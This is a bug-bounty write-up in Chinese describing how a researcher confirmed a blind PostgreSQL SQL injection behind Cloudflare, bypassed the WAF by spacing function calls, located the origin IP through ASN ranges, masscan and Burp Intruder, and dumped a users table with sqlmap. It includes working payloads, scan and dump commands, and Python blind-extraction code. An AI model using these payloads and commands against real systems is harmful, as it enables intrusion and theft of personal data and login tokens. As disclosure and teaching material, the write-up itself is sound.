引言
如果你曾从事漏洞挖掘,你一定深知那种感觉:直觉告诉你潜藏着一个漏洞,但你提交的每一个 Payload 都被 Web 应用程序防火墙(WAF)无情地拦截。这就好比你一次次撞向一堵无形的墙,令人万分沮丧…
国外小哥在一次漏洞挖掘中,发现了一处SQL注入漏洞,但 Cloudflare 的 WAF 却像一座堡垒严密守护着。
小哥花费了数小时试图绕过WAF,尝试了所有已知技巧,虽然部分奏效,但却没有一个足够稳固且可以作为漏洞证明来提交的PoC。
于是小哥决定不再与WAF正面硬刚,而是选择“曲线救国”,找到源站 IP(Origin IP),彻底绕过WAF,确认漏洞,并获取敏感数据作为概念验证(PoC)。
核心概念
在深入探讨之前,了解 DNS(域名系统)、源站 IP 和 ASNs(自治系统号)这些概念会有所帮助。如果你已足够熟悉这些,可以直接[跳到漏洞部分]阅读。
DNS
DNS 是互联网的寻址层。人类使用域名(如 example.com
),而机器则通过IP地址(IPv4 的 142.251.37.238
或 IPv6 的 2a00:1450:4006:813::200e
)进行路由。DNS 将域名映射到 IP 地址,省去了我们记忆数字的麻烦。
DNS 记录
DNS 记录(又称区域文件)是位于权威 DNS 服务器中的指令,它们提供关于域名的信息,包括与该域名关联的 IP 地址以及如何处理对该域名的请求。
-
A 记录 – 将域名映射到 IPv4 地址。
示例:example.com → 23.215.0.138
-
AAAA 记录 – 将域名映射到 IPv6 地址。
示例:example.com → 2600:1408:ec00:36::1736:7f24
-
CNAME 记录 – 将一个域名指向另一个域名。
示例:ryukudz.com → itsryuku.github.io
这为什么对寻找源站 IP 至关重要:
现代 Web 应用程序通常部署在 Cloudflare 或 Akamai 等 CDN(内容分发网络)后面。CDN 使用其 Anycast IP 地址响应 DNS 查询,并充当反向代理/WAF,从而隐藏真实的源站 IP。然而,DNS 配置不当可能会泄露这些信息。
自治系统号 (ASN)
ASN 是分配给互联网上一个网络(称为自治系统 (AS))的唯一标识符。
AS 本质上是由单个组织(如公司、云服务提供商或 ISP)控制的 IP 地址集合,它向互联网的其余部分提供统一的路由策略。简而言之,ASN 告诉世界“这些 IP 地址属于同一个实体并由其管理”。
注意:有时目标可能托管在云服务提供商(例如 AWS、GCP、Azure)的 IP 空间中,而不是公司自己的 ASN 中,因此不要假设所有目标 IP 都属于该组织的 ASN。
在本文后半段,我们将探讨 ASN 信息如何帮助寻找源站 IP。
源 IP
如今,大多数现代 Web 应用程序都部署在 内容分发网络 (CDN) 之后,例如 Cloudflare、Akamai 等。
CDN 不仅能提高性能,还提供重要的安全层。它的主要功能之一是隐藏托管应用程序的服务器的源站 IP。这可以防止 DDoS(分布式拒绝服务)等直接攻击到达真实的基础设施。
源 IP 简单来说就是后端服务器的实际 IP 地址。单独发现它通常不被视为高风险漏洞,也许有一些漏洞悬赏平台会将其定为低危级别 (P4)。
真正的影响在于发现它之后的后续行动,一旦绕过 CDN,你就同时也绕过了它的 Web 应用程序防火墙 (WAF),而这正是使漏洞利用变得异常困难的症结所在。
寻找源 IP
发现源站 IP 的方法有很多,但本文无法涵盖所有方法 。我们将重点介绍一种最常用的技术。如需更深入的了解,可查阅 Intigriti 的博客文章:识别反向代理后面服务器的源 IP。
历史 DNS 记录 [1]
最常见的发现源站 IP 的方法是通过历史 DNS 记录。
DNS 历史记录追踪了域名 DNS 设置随时间的变化,包括过去的 IP 地址。这对于漏洞赏金猎人来说是一个金矿,因为很多时候,即使启用了 CDN,旧的 IP 地址也可能保持不变。
然而,成熟的公司通常会意识到这个技巧。为了应对,他们会实施 IP 轮换,这意味着他们在设置反向代理后会更改源服务器的 IP。这使得历史记录的用处越来越小,但仍然值得我们检查。
要查看历史 DNS 记录,最简单的平台之一是 ViewDNS 。如果 ViewDNS 无法提供你需要的信息,还可以尝试 Censys 或 SecurityTrails 。两者都提供大量的 DNS 数据,而且无需付费订阅——只需注册一个免费试用账户即可。
以下是域名 tiktok.com
的 DNS 历史数据示例,摘自 ViewDNS.info:
注意:这些 IP 地址已是过期地址,不再属于 TikTok 的源服务器。此示例仅用于演示目的。
在本文的 SQL 注入案例中,历史 DNS 记录未能提供帮助,因此白帽小哥不得不寻找其它方法来发现源 IP。
识别漏洞
通过代理浏览目标网站一段时间后,小哥开始在 Burp 的历史记录中审查有趣的请求,很快他注意到一个 API 调用:
GET /api/videos?topic=1337 HTTP/1.1
Host: www.target.com
响应返回了一个包含 topic
参数中提供的 ID 信息的数组,那么该请求是否正在从 SQL 数据库中查询数据?
为了验证这一点,小哥注入了一个单引号 ('
):
GET /api/videos?topic=1337%27 HTTP/1.1
Host: www.target.com
服务器响应:
HTTP/2 500 Internal Server Error
看起来很有希望,尝试再添加一个引号 (''
):
GET /api/videos?topic=1337%27%27 HTTP/1.1
Host: www.target.com
这次的响应是:
HTTP/1.1 200 OK
SQL 注入的可能性正在提高,单引号很可能破坏了查询语法,而再添加一个引号则完成了字符串并恢复了有效的语法。
Payload | Response |
---|---|
/api/videos?topic=1337'+AND'1'=1-- |
Topic 1337 数据已返回 |
/api/videos?topic=1337'+AND'1'=2-- |
未返回任何结果 |
/api/videos?topic=13'||'37 |
Topic 1337 数据已返回 |
/api/videos?topic=1337'+and+length(version())>1-- |
Topic 1337 数据已返回 |
这些信息足以确认该漏洞为基于布尔值的 SQL 盲注(Boolean-based blind SQL injection)。
通过指纹识别,发现 DBMS(数据库管理系统)为 PostgreSQL,因为用于字符串连接的 ||
运算符和 version()
函数都有效,这些都是 PostgreSQL 的原生特性。
小哥思考是否可以使用批量查询来执行 pg_sleep()
函数。
GET /api/videos?topic=1337%27;SELECT%20pg_sleep(15)--%20- HTTP/1.1
Host: www.target.com
然而:
HTTP/1.1 403 Forbidden
经典的CF WAF 阻挡界面。
WAF 绕过
不知不觉到了深夜,小哥已筋疲力尽,小哥尝试了一些已知的WAF绕过技术,但都没起作用。同时他还尝试了几种混淆技术,但同样收效甚微。
最后小哥联系了他的一位朋友 uzundz——圈内称他为SQLi 神医——最终成功绕过WAF。
有兴趣的话,可以看看他关于碎片化 SQL 注入的精彩博客文章。
小哥首先的目标是使用 PostgreSQL 的原生函数 current_database()
和 version()
来获取数据库名称和版本。
api/videos?topic=1337'+and+length(current_database())>1--
-> 被 WAF 阻断
api/videos?topic=1337'+and+length+(current_database())>1--
-> Topic 1337 数据已返回
然后就是不断猜测长度:
api/videos?topic=1337'+and+length+(current_database())=10--
-> Topic 1337 数据已返回
这意味着 current_database()
名称有10 个字符。
api/videos?topic=1337'+and+length+(version())=104--
-> Topic 1337 数据已返回
接下来的目标是提取这两个函数的输出,为了缩短篇幅,以下将演示数据库名称的提取方法。
首次尝试(被WAF阻止):
api/videos?topic=1337'+and+ascii(substring(current_database(),1,1))>32--
-> 被 WAF 阻断
在函数名和括号之间添加空格后,成功:
api/videos?topic=1337'+and+ascii+(substring+(current_database(),1,1))>32--
-> Topic 1337 数据已返回
继续猜测 ASCII 码:
api/videos?topic=1337'+and+ascii+(substring+(current_database(),1,1))=102--
-> Topic 1337 数据已返回
这意味着第一个字符是 f
。
后续字符:
api/videos?topic=1337'+and+ascii+(substring+(current_database(),2,1))=108--
-> 第二个字符是 l
…
…
api/videos?topic=1337'+and+ascii+(substring+(current_database(),10,1))=110--
-> 最后一个字符是 n
最终得到数据库名称:
fl**_****n
同样对 version()
函数做类似操作:
图3: 提取
version()
通常这足以作为 PoC 来提交漏洞报告,30 分钟内小哥收到了第一封回复。
然而,经过一番沟通,项目方要求小哥提供更多细节,称最初的报告不够充分。
于是小哥决定从数据库中导出敏感信息——为了不受任何限制,源 IP 的寻找之旅便开始了。
首先尝试调用 inet_server_addr()
函数,很不幸,这种方法没有奏效。
inet_server_addr
用于返回服务器接受当前连接的 IP 地址。
接下来,小哥访问了 Hurricane Electric BGP Toolkit 。这是一个在线工具套件,提供详细的互联网路由信息,允许用户查看和分析来自公共来源的 BGP 数据,以了解网络配置。
以特斯拉(Tesla)为例,搜索 Tesla Inc 会找到与其网络关联的 IP 范围。
后面我们将把特斯拉作为我们的演示目标。
一旦获得了这些 IP 范围,就可以在 Linux 机器上使用了 asnmap 工具,通过它们的 ASN 来映射网络。
然后使用 masscan 扫描了该范围,以识别存活主机。
sudo masscan -iL ranges.txt -p1-65535 --exclude 255.255.255.255 --rate 100000 --output-format json --output-filename scan-results.json
接下来过滤结果:
cat scan-results.json | sed -e '/^\\[/d' -e '/^\\]/d' -e 's/,$//' | jq -r '[.ip, .ports[0].port] | @tsv' | sed 's/\\t/:/' | sort -u > alive-hosts
顺利得到一份存活主机列表:
接下来,小哥启动 Burp Suite,然后将请求发送到 Intruder 。将 Host
头保持为 www.target.com
,并将域名参数设置为 payload 位置,然后加载 IP 地址列表,进行模糊测试。
几分钟后,源 IP 结果显示——一个 200 OK
状态码,返回了与之前完全相同的响应,直接使用这个 IP 测试 API 端点,响应一模一样!
此时,sqlmap 便可以轻松接手后续工作了。
首先,使用 sqlmap
来枚举数据库:
python3 sqlmap.py -u 'https://149.106.193.134/api/videos?topic=1815' --host=www.target.com --headers='User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36' -p topic --dbms=PostgreSQL --dbs --technique=B --level=5 --risk 3 --no-cast --threads 10
附注: 上述 IP 属于特斯拉,如前所述,仅用于演示目的。
然后是列出它的表。
python3 sqlmap.py -u 'https://149.106.193.134/api/videos?topic=1815' --host=www.target.com --headers='User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36' -p topic --dbms=PostgreSQL -D redacted --technique=B --level=5 --risk 3 --threads 10
Database: redacted
[8 tables]
+--------------------------+
| log |
| types |
| users |
| archive |
| asset |
| flow |
| metrics |
| rule |
+--------------------------+
users
表看起来最敏感,dump导出它。
python3 sqlmap.py -u 'https://149.106.193.134/api/videos?topic=1815' --host=www.target.com --headers='User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36' -p topic --dbms=PostgreSQL --dump -D redacted -T users --technique=B --level=5 --risk 3 --threads 10
表中包含了用户个人身份信息和 loginToken
,收工!
团队最终接受了报告,并要求我们从报告评论中删除这些敏感信息。未经明确许可,切勿这样做,否则将可能导致失去奖金甚至被项目禁止。
一个小提示:用于证明数据库信息可以使用如下命令:
(select count(column_name) from information_schema.columns where table_schema not in ('information_schema','pg_catalog') limit 1)
手动方法:脚本化你的访问
像 SQLmap 这样的工具通常具有侵入性且’噪音’较大,会发送大量不必要的请求。可以编写自己的 PoC 脚本能让客户更清晰地理解重现步骤,从而加快漏洞审核。
为此,小哥开发了一个小型 Python 脚本,用于从数据库服务器中提取所有列,并排除了两个系统自带数据库:information_schema
和 pg_catalog
。
由于这是一个盲注 SQL 注入,该脚本使用了二分查找优化和 asyncio
进行并行请求,显著提高提取过程。
列提取过程如下:
- 首先,确定了数据库服务器中存在的列数:
(
SELECT COUNT(column_name)
FROM information_schema.columns
WHERE table_schema NOT IN ('information_schema', 'pg_catalog')
LIMIT 1
)
将其传递给相应的函数:
```
async def find_count(session, query, min_length=0, max_length=200):
while min_length <= max_length:
mid = (min_length + max_length) // 2
payload = f" and {query}<={mid}"
if await exec_query(session, payload):
max_length = mid - 1
else:
min_length = mid + 1
return min_length
```
-
用于提取列名及其表名和模式名(schema name)的 SQL 查询:
( SELECT table_schema || ':>' || table_name || ':>' || column_name FROM information_schema.columns WHERE table_schema NOT IN ('information_schema', 'pg_catalog') LIMIT 1 OFFSET {pos} )
-
对于每个偏移位置(例如,`pos = 0`):
(
SELECT
table_schema || ':>' || table_name || ':>' || column_name
FROM information_schema.columns
WHERE table_schema NOT IN ('information_schema', 'pg_catalog')
LIMIT 1 OFFSET 0
)
需要计算查询输出的长度: [1]
AND length((
SELECT
table_schema || ':>' || table_name || ':>' || column_name
FROM information_schema.columns
WHERE table_schema NOT IN ('information_schema', 'pg_catalog')
LIMIT 1 OFFSET 0
)) <= {NUMBER}
async def find_length_bsearch(session, query, min_length=0, max_length=200):
while min_length <= max_length:
mid = (min_length + max_length) // 2
payload = f" and length({query})<={mid}"
if await exec_query(session, payload):
max_length = mid - 1
else:
min_length = mid + 1
return min_length
然后,实际字符提取是使用 `ascii()` 函数完成的,它会比较 `substring()` 函数中每个位置的 ASCII 码。
AND ascii(
substring(
(
SELECT
table_schema || ':>' || table_name || ':>' || column_name
FROM information_schema.columns
WHERE table_schema NOT IN ('information_schema', 'pg_catalog')
LIMIT 1 OFFSET 0
),
{POSITION},
1
)
) <= {ASCII}
`POSITION` 从 `1` 迭代到 `length + 1`,`ASCII` 范围从 `32` 到 `126`,涵盖所有可打印的 ASCII 字符。
async def find_char_bsearch(session, query, position):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
payload = f" and ascii(substring({query},{position},1))<={mid}"
if await exec_query(session, payload):
high = mid - 1
else:
low = mid + 1
return position, chr(low)
总结
当你遇到 Cloudflare 或 Akamai 这样的 WAF 时,不要让挫败感占据上风。相反地,要策略性地解决问题,如果直接绕过尝试失败了,那就探索其它方法——比如识别源 IP,以完全绕过 WAF。
本案例的关键启示:
- 当一条路被堵死时,寻找另一条——找到源 IP 是将失败转化为成功的关键
- 明智地使用你手中的工具——将你的技术技能与创造力和策略相结合,正如本文中案例所演示的那样
- 协作是强大的力量,来自同行研究员的提示可以节省数小时的努力
希望通过本文,你能有所收获!
参考文献
域名系统
DNS 记录
自治系统号
内容分发网络
识别流行反向代理后面的服务器源站 IP
碎片化 SQL 注入
sqlmap